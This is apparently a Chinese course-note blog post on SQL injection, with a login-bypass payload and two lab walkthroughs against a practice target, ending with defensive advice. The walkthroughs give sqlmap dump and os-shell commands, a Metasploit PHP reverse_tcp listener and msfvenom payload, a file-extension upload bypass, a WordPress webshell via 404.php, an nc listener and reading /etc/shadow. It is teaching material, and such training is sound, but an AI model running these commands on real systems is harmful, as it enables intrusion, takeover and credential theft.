当前位置: 首页 > news >正文

<网络安全>《42 网络攻防专业课<第八课 - SQL注入漏洞攻击与防范>》

1 SQL注入漏洞利用及防范

1 SQL注入的地位

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

2 SQL注入的危害及本质

这些危害包括但不局限于:

  1. 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  2. 网页篡改:通过操作数据库对特定网页进行篡改。
  3. 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  4. 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  5. 服务器被远程控制:被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  6. 破坏硬盘数据,瘫痪全系统。

3 本质

把用户输入的数据当作代码执行。

包含两个关键条件:
一:用户能够控制输入;二:原本程序要执行的代码,拼接了用户输入的数据。

4 SQL注入原理

在这里插入图片描述

5 SQL注入漏洞的方法

在这里插入图片描述
这是一个登陆页面

  1. Ø 点击“submit”之后,web应用会执行:
    Ø 接收发送的POST请求
    Ø 获取用户名和密码:(bart, simpson)
    Ø 构建SQL语句:select * from users where username = ‘bart’ and password = ‘simpson’;
    Ø 发送给数据库服务器来验证
  2. Ø 这个时候,我们可以对username进行变化
    Ø 输入的用户名不是简单的bart,而是 bart’ and 1=1; –
    Ø 这样整个语句变成如下:
    Ø select * from users where username = ‘bart’ and 1=1; – ’ and password = ‘simpson’;
    Ø 这个时候,–后面的都会变成注释,不用密码就能进行登陆。

6 SQL注入经常出没的地方

在这里插入图片描述
简言之:1. 用户一切可以输入(可控)的地方 。2.数据库一切可能导入、导出的东西。

7 SQL注入的分类

在这里插入图片描述
在这里插入图片描述

8 演练:SQL注入GET参数

8.1 信息探测

扫描主机服务信息以及服务版本

nmap -sV 靶场IP地址

快速扫描主机全部信息

nmap -T4 –A -v 靶场IP地址

探测敏感信息

nikto -host http://靶场IP地址:端口
dirb http://

8.2 深入挖掘

分析nmap 、nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;
使用浏览器打开 http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;
在这里插入图片描述

8.3 漏洞扫描

web漏洞扫描器 owasp-zap
OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用程序过程中,自动发现 Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
在这里插入图片描述

8.4 使用sqlmap利用SQL查看注入

在这里插入图片描述

8.5 漏洞利用

针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。
使用sqlmap利用SQL注入漏洞

sqlmap -u url --dbs    查看数据库名
sqlmap -u url –D “数据库名” --tables    查看对应数据库中的数据表
sqlmap -u url –D “数据库名” –T “表名” --columns  查看对应字段
sqlmap -u url –D “数据库名” –T “表名”-C “列名” --dump   查看对应字段的值
也可以直接尝试 sqlmap –u url –os-shell  直接获取shell

在这里插入图片描述

8.6 上传shell反弹权限

攻击机启动监听

msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 攻击机IP地址
msf exploit(handler) > set lport 4444
msf exploit(handler) > run

生成反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php

上传shell执行shell

绕过过滤机制   利用 .php 修改为 .PHP

9 演练:POST注入

9.1 信息探测

扫描主机服务信息以及服务版本

nmap -sV 靶场IP地址

快速扫描主机全部信息

nmap -T4 –A -v 靶场IP地址

探测敏感信息

nikto -host http://靶场IP地址:端口
dirb  http://靶场IP地址:端口

9.2 漏洞扫描

漏洞扫描器 Owasp-zap
功能强大,专注于web安全的漏洞扫描器。
在这里插入图片描述

9.3 漏洞利用

针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。但是扫描结果也不一定正确。
使用sqlmap利用SQL注入漏洞

sqlmap –r  request.raw –level 5 –risk 3  –dbs –dbms  mysql --batch
sqlmap –r  request.raw –level 5 –risk 3  –D "数据库名" –tables    查看对应数据库中的数据表 --batch
sqlmap –r  request.raw –level 5 –risk 3  –D "数据库名" –T "表名" –columns  查看对应字段 --batch
sqlmap –r  request.raw –level 5 –risk 3  –D "数据库名" –T "表名"-C "列名" –dump --batch

9.4 上传webshell获取控制权

wordpress 后台寻找上传点
主题 的404.php 可以上传webshell
webshell 获取 /usr/share/webshells/php/
在这里插入图片描述

执行shell,获取反弹shell。
http://靶场IP地址:端口号/目录/wp-content/themes/主题名/404.php
启动监听 – nc –nlvp port
启动终端 – python –c “import pty;pty.spawn(‘/bin/bash’)”

9.5 root权限

使用 cat /etc/shadow cat /etc/passwd 查看敏感文件
使用su - 提升 root权限

9.6 SQL注入的防范

防止SQL注入的根本措施是应该在程序中对用户的输入进行检测。总的来说有以下几点:
1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双“-”进行转换等。
2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息明文存放,请加密或者Hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。

http://www.lryc.cn/news/303063.html

相关文章:

  • 微服务开发工具及环境搭建
  • HTML学习笔记——08:表单<form>
  • 什么是跨端,常用的跨端技术
  • 【书生·浦语大模型实战营】第6节:OpenCompass 大模型评测(笔记版)
  • 为什么需要写Java单元测试总结
  • Gin框架: 控制器, 中间件的分层设计案例
  • 日常遇到Maven出现依赖版本/缓存问题通用思路。
  • 安卓11-HDMI插拔检测流程
  • OkHttp Retrofit HttpClient之间的区别
  • Paddlepaddle使用自己的VOC数据集训练目标检测(0废话简易教程)
  • 【解析】C语言两个实例
  • 阅读笔记(Multimedia Systems2020)Review on image-stitching techniques
  • 【Java程序员面试专栏 数据结构】三 高频面试算法题:栈和队列
  • Python | Conda常用命令
  • Linux 驱动开发基础知识——APP 怎么读取按键值(十二)
  • 【FastAPI】P3 请求与响应
  • Python学习-流程图、分支与循环(branch and loop)
  • Python Flask Web 框架学习笔记+完整项目
  • XML Map 端口进阶篇——常用关键字和格式化器详解
  • 排序算法之——直接插入排序
  • 突出最强算法模型——回归算法 !!
  • 云数据库 Redis 性能深度评测(阿里云、华为云、腾讯云、百度智能云)
  • Android---Retrofit实现网络请求:Java 版
  • 使用静态CRLSP配置MPLS TE隧道
  • gentoo安装笔记
  • Git如何使用 五分钟快速入门
  • FreeRTOS学习笔记——(FreeRTOS临界段代码保护及调度器挂起与恢复)
  • 箱形理论在交易策略中的实战应用与优化
  • MinIO 和 Apache Tika:文本提取模式
  • c编译器学习05:与chibicc类似的minilisp编译器(待续)